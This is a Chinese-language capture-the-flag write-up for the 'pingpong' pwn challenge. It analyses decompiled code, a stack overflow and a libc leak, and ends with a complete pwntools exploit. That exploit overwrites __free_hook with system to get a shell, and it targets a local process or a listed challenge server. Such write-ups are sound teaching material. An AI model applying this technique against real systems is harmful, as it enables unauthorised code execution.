• pingpong

  这一题应该是最简单的pwn题了 ，但是我还是没做出来。对程序分析的不够明白，虽然把libc和canary都leak出来了，但不知道要怎么做，尝试修改返回地址，但是失败了.......

  防护机制：

  [*] '/home/zs0zrc/game/SECTF/pingppong/pingpong'
      Arch:     amd64-64-little
      RELRO:    Full RELRO
      Stack:    Canary found
      NX:       NX enabled
      PIE:      PIE enabled
  

  防护机制全开，简单的运行了下，程序逻辑很简单。就是输入一串字符串，然后再将转换过后的字符串打印出来。用ida查看反编译的代码

  void __fastcall __noreturn sub_B93(__int64 a1, void *a2)
  {
    signed __int64 v2; // rdx
    void *v3; // rsp
    const char *v4; // [rsp+8h] [rbp-18h]
    void *ptr; // [rsp+10h] [rbp-10h]
    unsigned __int64 v6; // [rsp+18h] [rbp-8h]
  
    v6 = __readfsqword(0x28u);
    v2 = 14LL;
    v3 = alloca(144LL);
    v4 = (16 * ((&v4 + 7) >> 4));                 // overwrite it
    while ( 1 )
    {
      printf("\nping: ", a2, v2);
      ptr = read_content(v4);
      if ( !ptr )
        break;
      a2 = ptr;
      printf("pong: %s\n", ptr);
      free(ptr);
      usleep(0xC350u);
    }
    _exit(0);
  }
  

  程序将v4的地址进行了一些位移操作后传给read_content函数作为参数，调试观察v4经过位移操作后的变化

  操作前：

  &v4 = 0x7fffffffdd78
  *v4 = 0x00007fffffffdeb8
  

  操作后

  &v4 = 0x7fffffffdd78
  *v4 = 0x7fffffffdce0
  

  read_content函数：

  _BYTE *__fastcall read_content(const char *buf)
  {
    int v1; // eax
    char v2; // al
    char v4; // [rsp+17h] [rbp-19h]
    int v5; // [rsp+18h] [rbp-18h]
    int i; // [rsp+18h] [rbp-18h]
    int len; // [rsp+1Ch] [rbp-14h]
    _BYTE *v8; // [rsp+20h] [rbp-10h]
  
    v5 = 0;
    while ( 1 )
    {
      v4 = getchar();                             // stack overflow
      if ( v4 == -1 || v4 == '\n' )
        break;
      v1 = v5++;
      buf[v1] = v4;
    }
    len = strlen(buf);
    v8 = malloc(0x400uLL);
    for ( i = 0; i < len; ++i )
    {
      if ( i & 1 )
        v2 = buf[i] ^ 0x20;
      else
        v2 = buf[i];
      v8[i] = v2;
    }
    return v8;
  }
  

  这里根据将字符串读取到*v4上去，因为这里读取结束的条件是 -1和'\n'，可以读取很长的字符串,所以能覆盖v4变量。然后将读取的字符串经过一个简单的异或操作，拷贝到新malloc的chunk中，最后将chunk的地址作为函数返回值。因为这里没有在末尾加'\0'截断字符串，所以存在信息泄露。

  具体思路是：

  泄露libc地址
  覆盖v4的内容为 &__free_hook-8
  然后在读入 '/bin/sh\x00' + p64(system) #将__free_hook覆盖为system地址，这里'/bin/sh\x00'字符串要按它的规则进行异或
  最后程序执行free函数时，就会执行system函数
  #这是其中的一种做法，我看别人的wp还有的是用rop做的，泄露出stack的地址，然后将ropchain写入栈中，再覆盖返回地址
  

exp:

#!/usr/bin/env python
from pwn import *
local = 1

if local:
    p = process('./pingpong')
    elf = ELF('./pingpong')
    libc = elf.libc
else:
    host = '142.93.39.178'
    port = '2025'
    p = remote(host,port)
    elf = ELF('./pingpong')
    libc = ELF('./libc.so.6')

context.arch = elf.arch
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)


rc()
sl('aaaaaaaa')
ru('ping:')
sl('aaaaaaaa')
ru('pong: aAaAaAaA')
leak = u64(p.recvline().strip('\n').ljust(8,'\x00'))
leak_stdout = 0
for i in range(6):
    if(i&1):
        leak_stdout +=(((leak>>i*8)&0xff^0x20)<<(i*8))
    else:
        leak_stdout +=(((leak>>i*8)&0xff)<<(i*8))


libc_base = leak_stdout - libc.symbols['_IO_2_1_stdout_']
__free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
print hex(libc_base)

binsh = '/BiN/Sh\x20'
payload1 = 'a'*0x98 + p64(__free_hook-0x8)
payload2 = binsh + p64(system)

sl(payload1)
rc()
sl(payload2)
p.interactive()